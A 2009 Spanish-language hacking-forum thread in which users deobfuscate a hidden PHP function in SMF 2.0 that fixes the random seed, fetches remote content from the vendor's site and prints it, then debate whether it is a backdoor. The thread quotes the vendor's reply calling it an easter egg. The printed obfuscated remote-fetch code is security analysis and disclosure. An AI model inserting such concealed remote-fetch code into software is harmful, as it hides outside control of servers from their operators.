Backdoor nativo en SMF 2.0

Iniciado por WHK, 27 Octubre 2009, 08:03 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Estabamos revisando el code de SMF 2.0 con sirdarckcat con el propósito de la auditoría hacia SMF:
http://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html

Y pude encontrar un código bien extraño en el archivo Sources/Who.php linea 660 en adelante, ahi se pueden ver una serie de lineas muy encodeadas y ocultas:

Código (php) [Seleccionar]
function Mascot()
{
global $sourcedir;

// Some important quotes.
$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
);

mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});

$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));

if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
}


Esto es masomenos lo que puedes ver cuando reemplazas variables y ordenas un poco mas el código:

Código (php) [Seleccionar]
function Mascot()
{
global $sourcedir;

// Some important quotes.
$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
);

mt_srand(1104307200);
   $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo = array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));
   /* Array con una dimensión de 6 variables numéricas
   Array ( [0] => 6 [1] => 2 [2] => 9 [3] => 6 [4] => 10 [5] => 9 )
   
   For con 6 loops, uno para cada variable del array  */
   for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){
    $O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12));
    //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'}) - mt_rand(0,12));<br />';
    $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]);
    //echo '$'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = chr(ord($'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']) - $'.$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.']);<br /><br />';
   }
   /* Desarrollo:
   $Array[$0] = chr(ord($ywky~{{$0}) - mt_rand(0,12));
   $swky~{[$0] = chr(ord($swky~{[$0]) - $Array[$0]);

   $Array[$1] = chr(ord($swky~{{$1}) - mt_rand(0,12));
   $suky~{[$1] = chr(ord($suky~{[$1]) - $Array[$1]);

   $Array[$2] = chr(ord($suky~{{$2}) - mt_rand(0,12));
   $suby~{[$2] = chr(ord($suby~{[$2]) - $Array[$2]);

   $Array[$3] = chr(ord($suby~{{$3}) - mt_rand(0,12));
   $subs~{[$3] = chr(ord($subs~{[$3]) - $Array[$3]);

   $Array[$4] = chr(ord($subs~{{$4}) - mt_rand(0,12));
   $subst{[$4] = chr(ord($subst{[$4]) - $Array[$4]);

   $Array[$5] = chr(ord($subst{{$5}) - mt_rand(0,12));
   $substr[$5] = chr(ord($substr[$5]) - $Array[$5]);
   
   Resultado:
   // Array con una dimensión de 6 valores alfanuméricos
   // Array ( [0] => t [1] => t [2] => ` [3] => x [4] => y [5] => o )
   // Resuelto a partir del primer array con citas de personajes */
   $OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O = array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
   /* Eval para despistar mas un retorno de valor igual a '32' para completar la ecuación aritmética
   Array con una dimensión de 6 valores alfanuméricos
   Array ( [0] => 37 [1] => 3 [2] => 22 [3] => 33 [4] => 35 [5] => 73 ) */
$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644';
   /* Constante numérica al igual que el valor '1' en el eval anterior */
   foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q){
    $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
    //echo '$'.$Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'] = $'.$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo.'($'.$q.',$'.$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O.'[$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'],$'.$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo.'{$'.$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo.'})<br />';
   }
   /*
    Procesa la leyenda de arriba sustrayendo carácteres posicionados en cada variable de la
    dimensión del array anterior:
    $Array[$0] = $substr($Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton,$Array[$0],$335644{$0})
    $Array[$1] = $substr($My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff,$Array[$1],$335644{$1})
    $Array[$2] = $substr($Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken,$Array[$2],$335644{$2})
    $Array[$3] = $substr($Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won't once it's decoded. ~Laurie Anderson,$Array[$3],$335644{$3})
    $Array[$4] = $substr($I don't see the logic of rejecting data just because they seem incredible. ~Fred Hoyle,$Array[$4],$335644{$4})
    $Array[$5] = $substr($Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle,$Array[$5],$335644{$5})
   
    Resultado:
    un array con una dimensión de 6 variables:
    Array ( [0] => pow [1] => web [2] => fetch [3] => decode [4] => data [5] => base )
   */
   // print_r($Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO);
$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3];
   /* Devuelve el string 'base64_decode' desde dos strings diferentes concatenado por un '_' que es la palabra 'base64' y 'decode' */
   $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
   /* Devuelve el string 'fetch_web_data' */
require_once($sourcedir . '/Subs-Package.php');
   /* Incluye el subs con la función fetch_web_data para poder obtener el contenido externo */
   $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
   //echo '$OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'($'.$O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O.'($'.$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo.'(\'aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==\')));';
   /* Resolución:
   $str = $base64_decode($fetch_web_data($base64_decode('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
   Hace la petición a http://www.simplemachines.org/smf/latest-laugh.js y obtiene su contenido */
if (1/M_PI_2 == M_2_PI){
   /* Verificación redundante:
   1/1.5707963267949 == 0.63661977236758
   
   Termina el script mostrando únicamente el contenido obtenido sin procesar el resto del script del foro
   */
    die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
   }
}


La sorpresa no eran las variables raras sino el contenido.

Me da un poco de gracia tanto código y ofusación de código que intentaron hacer porque no se necesitan mas de dos dedos de frente para saber que el string "aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==" es base64 y al descifrarlo está el enlace hacia el control de simplemachines:
http://www.simplemachines.org/smf/latest-laugh.js
y nuevamente si lo procesamos en base64 encontramos el string completo que se nos ve en nuestra web visualizandolo desde index.php?action=mascot
No se necesita ser matematico ni si quiera entender el código para saber que hay, de hecho si le pones un echo a cada variable encuentras el código igual  :rolleyes:

En fin,  si desciframos eso en base64 podemos ver esto:

Código (html4strict) [Seleccionar]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>My name is Earl</title>
</head>
<body>
<h1>Watch out!  He's a killer!</h1>
<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
</body>
</html>




:xD que cosas jajaja

La voz de la experiencia: http://www.simplemachines.org/community/index.php?topic=198912.msg1265079#msg1265079

sirdarckcat

#1
Bueno, ahora quiero explicar porque esto es un backdoor, y no solo un huevo de pascua.

1.- Codigo Ofuscado.
La unica manera de escapar herramientas de auditoria de codigo automatico, busqueda de funciones (grep), etcetera, es ofuscando el codigo. Una herramienta facilmente hubiera podido relacionar la funcion fetch_web_data o base64_decode con la funcion Mascot.. pero con el codigo ofuscado de esta forma, definitivamente no.

2.- Vulnerabilidad forzada
Es dificil diferenciar una vulnerabilidad con un backdoor. Un backdoor debe ser dejado aproposito, y permitir a los autores ejercer control sobre el software que de otra forma no tendrian. En este caso la funcionalidad de la funcion Mascot hubiera podido ser mas rapida, mas segura, y mas clara se se hiciera como funciona el resto de las secciones que generan contenido estatico. Sinembargo esta fue hecha convenientemente para que estuviera siempre al control de SMF.

3.- Denegacion plausible
En caso de ser descubierto, se debe tener una posible explicacion. En este caso, el backdoor tiene una funcion de "easter egg", el cual en si les da la capacidad de incluso justificar la ofuscacion del mismo.

4.- No es configurable
No es una opcion que se puede deshabilitar (vease, actualizaciones automaticas de windows, etc..) es simplemente un codigo que no puede ser deshabilitado por SMF a menos que borres el codigo del backdoor.

Ahora, explicare lo que se puede hacer con este backdoor (todo es en la misma funcion, Mascot() en Who.php linea 661).

1.- Permite a los atacantes setear el seed del MT PRNG (generador de numeros aleatorios de PHP) para el servidor (no solo la pagina web, sino todo el servidor, y si es un hosting compartido, a todos los vhosts) a un numero explicito (Linea 675 de Source/Who.php).
mt_srand(1104307200);

Esto podria permitir a SMF mejorar la posibilidad de adivinar los links de "recordatorio de contraseñas" (como fue notado por kuza55), aunque afortunadamente el sistema usa la funcion del generador de numeros aleatorios de la base de datos. Asi como evadir la validacion de correo electronico.

Si se desea leer mas al respecto sobre este ataque: http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/

2.- Permite a los atacantes usar tu servidor como web proxy y hacer peticiones en tu nombre. La url de control en el dominio de simplemachines es:
http://www.simplemachines.org/smf/latest-laugh.js
Esta esta codificada en base64 como:
aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==
en la linea 679 de Sources/Who.php

Esto habilita dos ataques:

1.- Permite a SMF colocar (y cambiar cada que quieran) contenido arbitrario en tu servidor (codigo HTML, ‭‬javascript, Flash, Malware, Java, etcetera).
Un ejemplo importante es la policy file que flash requiere para permitir hacer conexiones al servidor. Asi como tambien subir directamente un archivo flash, o java lo que permitiria a los atacantes abrir sockets de tus clientes a tu servidor, y cualquier cosa que quieran.

2.- Los atacantes pueden hacer una redireccion HTTP a cualquier url HTTP, HTTPS, FTP, y FTPS y obtener su contenido.
Asi, aun si tienes un sistema de "whitelist" a ciertas direcciones IPs para acceder a ciertos recursos (Intranet, Backups de bases de datos, PHPMYADMIN, etc..), los atacantes tendran el poder de hacer peticiones y recuperar parte del contenido.

Este backdoor no solo habilita el acceso de SMF a escondidas, sino que tambien evade protecciones que tu servidor podria tener. Es el caso especial de la directiva allow_url_fopen, la cual se deshabilita normalmente para evitar peticiones HTTP externas al servidor (por seguridad), pero aun asi SMF lograra hacer este ataque usando una tecnica conocida para evadirla (normalmente usada por atacantes para evadir protecciones al hackear un servidor) (Linea 2715 de Sources/Subs-Package.php).
// Get the contents of a URL, irrespective of allow_url_fopen.
function fetch_web_data($url, $post_data = '', $keep_alive = false, $redirection_level = 0)


Por lo que aun si intentas proteger tu servidor, no lo vas a poder hacer.

Por estos tres puntos yo considero que es un backdoor dejado aproposito, de bastante peligrosidad, y que pone en peligro la confianza que no solo muchas comindades alrededor del mundo han puesto en SMF, sino tambien de sitios gubernamentales de varios paises, y de todas las personas que son "charter members" y que pagan por tener acceso a la version mas reciente de SMF.

Al descubrir este backdoor, nos pusimos en contacto con SMF, y pedimos una explicacion. A la cual se nos dio esta respuesta:

CitarHi Eduardo,

Thank you for your concerns.

The code in question is, indeed, used to display an easter egg. In fact, it
only displays an inside joke on the user's screen if said user goes to
?action=mascot, which is not directly linked to in SMF itself.

While we do not think this is a security issue per se, we do agree having
obfuscated code in general is bad practice. Therefore, the mascot easter egg
has been removed from our SVN trunk.

On a more general note, we've already planned to evaluate all of our easter
prior the release of 2.0 gold, so some more might be removed.

Regards,
Aaron van Geffen,
SMF Developer

Diciendo que se borro esta funcion del SVN (privado ya que SMF no es software libre, pero en la web siguen mostrando el codigo con el backdoor), y se nos dijo que solo era un easter egg (como ya sabiamos) y que probablemente iba a ser borrado antes de tener la version "Gold".

No se si SMF hara una explicacion publica, pero en cualquier caso esta mi opinion, y ahora esta en ustedes decidir si fue un error involuntario o no..

Saludos!!

YST

Que interesante lo que ponen los de SMF en el codigo :P Puede que exista mas de uno :P

http://www.simplemachines.org/community/index.php?action=mascot :xD


Yo le enseñe a Kayser a usar objetos en ASM

Krackwar ™

Yo en lo personal no confío mas en SMF, al parecer phpbb3 es mejor sistema y puede ser una opcion para migrar
WHK es mas u17r4m4573r31337 que yo



El error mas grande de el mundo es decir que el ser humano es inteligente.

Facismo , antifacismo , etc.. la misma mierda ..
Soy el-> http://tinyurl.com/fantasma-de-krackwar
Código (asm) [Seleccionar]

mov ecx,1000
Etiqueta:
invoke printf,"No Copiare en clases"
loop Etiq

6666

#4
de verdad muy interesante, me gusto lo que han descubierto .. y estoy totalmente de acuerdo .. se pueden hacer muchas cosas desde http://www.simplemachines.org/smf/latest-laugh.js .. más alla que sea un huevo de pascua es un problema de seguridad!.

quizas no alla sido con malas intenciones de parte de SMF (lo dudo xD) pero si es lo contrario, valla manera de ocultarlo, bastante original.

Littlehorse

Pero no pensas que al hacer esto estarian subestimando la capacidad de muchos de los usuarios? es sabido que SMF suele ser cuasi-inhackeable para los script-kiddies, sin embargo no tanto por su seguridad inherente si no por el trabajo que realizan dia a dia la gente como ustedes, como nosostros etc. No seria subestimar demasiado a toda esa gente? no seria arriesgar demasiado esa confianza? no se. Es bastante raro que esto sea a proposito, pero en fin, nunca se sabe y ha habido casos peores.

De cualquier manera. Excelentisimo trabajo como siempre. Veo que el nuevo proyecto dio sus frutos rapidamente.

Un saludo
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

lotux


Jubjub

Legendario ;-)

Habria que contactar con los desarrolladores, a ver que dicen de esto :D
Jugando con Fósforoshacking con un tono diferente


.
porno

Novlucker

#8
Ya se hizo .. que crees que hay después de esto? XD

CitarAl descubrir este backdoor, nos pusimos en contacto con SMF, y pedimos una explicacion. A la cual se nos dio esta respuesta:

El problema de esto es que aquí se ha esperado hasta tener una versión final y depurada de SMF 2.0, en muchos foros ya esta instalada la RC  :rolleyes:

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Jubjub

Tengo que aprender a leer mas pacientemente :laugh:
Jugando con Fósforoshacking con un tono diferente


.
porno